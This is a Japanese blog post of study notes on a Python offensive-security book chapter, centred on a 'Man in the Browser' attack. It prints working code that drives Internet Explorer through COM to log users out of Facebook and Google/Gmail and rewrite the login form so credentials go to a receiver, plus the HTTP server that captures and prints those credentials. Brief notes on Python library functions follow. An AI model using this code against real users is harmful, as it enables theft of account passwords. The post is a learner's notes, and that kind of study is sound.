サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 9章 勉強まとめ

nnpo.hatenablog.com


Man in the Browser

(追記:2016/08/31)
Facebookにアクセス出来ないことがコメントより判明しました。gotounixさん、指摘していただきありがとうございます。
Facebookのアカウントを持っていないのでサンプルままにコードを載せていました。何やら本書の執筆時とは変わっているようですね。
Tumblrの方にもアクセスできていないので、そこらへん含めて改良していきたいと思っています。

# -*- coding: utf-8 -*-

import win32com.client
import time
import urllib.request
import urllib.parse

data_receiver = "http://localhost:8080/"

target_sites = {}
target_sites["www.facebook.com"] = \
    {"logout_url"       : None,
     "logout_form"      : "logout_form",
     "login_form_index" : 0,
     "owned"            : False}

target_sites["accounts.google.com"] = \
    {"logout_url"       : "https://accounts.google.com/Logout?hl=en&continue=https://accounts.google.com/ServiceLogin%3Fservice%3Dmail",
     "logout_form"      : None,
     "login_form_index" : 0,
     "owned"            : False}

#複数のGmailドメイン用に同じ標的サイトを指摘する
target_sites["www.gmail.com"]   = target_sites["accounts.google.com"]
target_sites["mail.google.com"] = target_sites["accounts.google.com"]

clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

windows = win32com.client.Dispatch(clsid)

def wait_for_browser(browser):

    #ブラウザがページをロードし終えるのを待つ
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)

    return

while True:

    for browser in windows:

        url = urllib.parse.urlparse(browser.LocationUrl)

        if url.hostname in target_sites:

            if target_sites[url.hostname]["owned"]:
                continue

            #もし該当のURLを発見したら、リダイレクトを行う
            if target_sites[url.hostname]["logout_url"]:

                browser.Navigate(target_sites[url.hostname]["logout_url"])
                wait_for_browser(browser)
            else:

                #ドキュメント中のすべての要素を取得する
                full_doc = browser.Document.all

                #ログアウトフォームを検索
                for i in full_doc:

                    try:

                        #ログアウトのフォームを検出してsubmitする
                        if i.id == target_sites[url.hostname]["logout_form"]:

                            i.submit()
                            wait_for_browser(browser)

                    except:
                        pass

            #ログインフォームを改ざんする
            try:

                login_index = target_sites[url.hostname]["login_form_index"]
                login_page = urllib.request.quote(browser.LocationUrl)
                browser.Document.forms[login_index].action = "{0}{1}".format(data_receiver, login_page)
                target_sites[url.hostname]["owned"] = True

            except:
                pass
        
        time.sleep(5)
# -*- coding: utf-8 -*-

import http.server
import socketserver
import urllib.parse

class CredRequestHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        creds = self.rfile.read(content_length).decode('utf-8')
        print(creds)
        site = self.path[1:]
        self.send_response(301)
        self.send_header('Location', urllib.parse.unquote(site))
        self.end_headers()

server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
server.serve_forever()

http.server

http.server.BaseHTTPRequestHandler

BaseHTTPRequestHandlerクラスは、サーバに到着したリクエストを処理する。

21.22. http.server — HTTP サーバ — Python 3.5.2 ドキュメント

import socketserver

server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)

TCPサーバの作成。IPアドレスとポート番号、リクエストハンドラーを指定できる。

21.21. socketserver — ネットワークサーバのフレームワーク — Python 3.5.2 ドキュメント

import urllib.parse

urllib.parse.unquote(site)

クオートってどういう意味か知らなかったのですが、特殊文字をその文字そのものとして扱うことを言うのですね。

21.8. urllib.parse — URL を解析して構成要素にする — Python 3.5.2 ドキュメント

「クォート」「エスケープ」「エンコード」の違い - PHP 解決済 | 教えて!goo

win32comを用いたオートメーションの例は、他にもネットに転がっているので参考になりそう。


IEのCOMオートメーションを使用した情報の盗み出し

Tumblrにログイン出来ないので保留。
この本の執筆時と現在の環境が違ってるのかな。
判明したら追記します。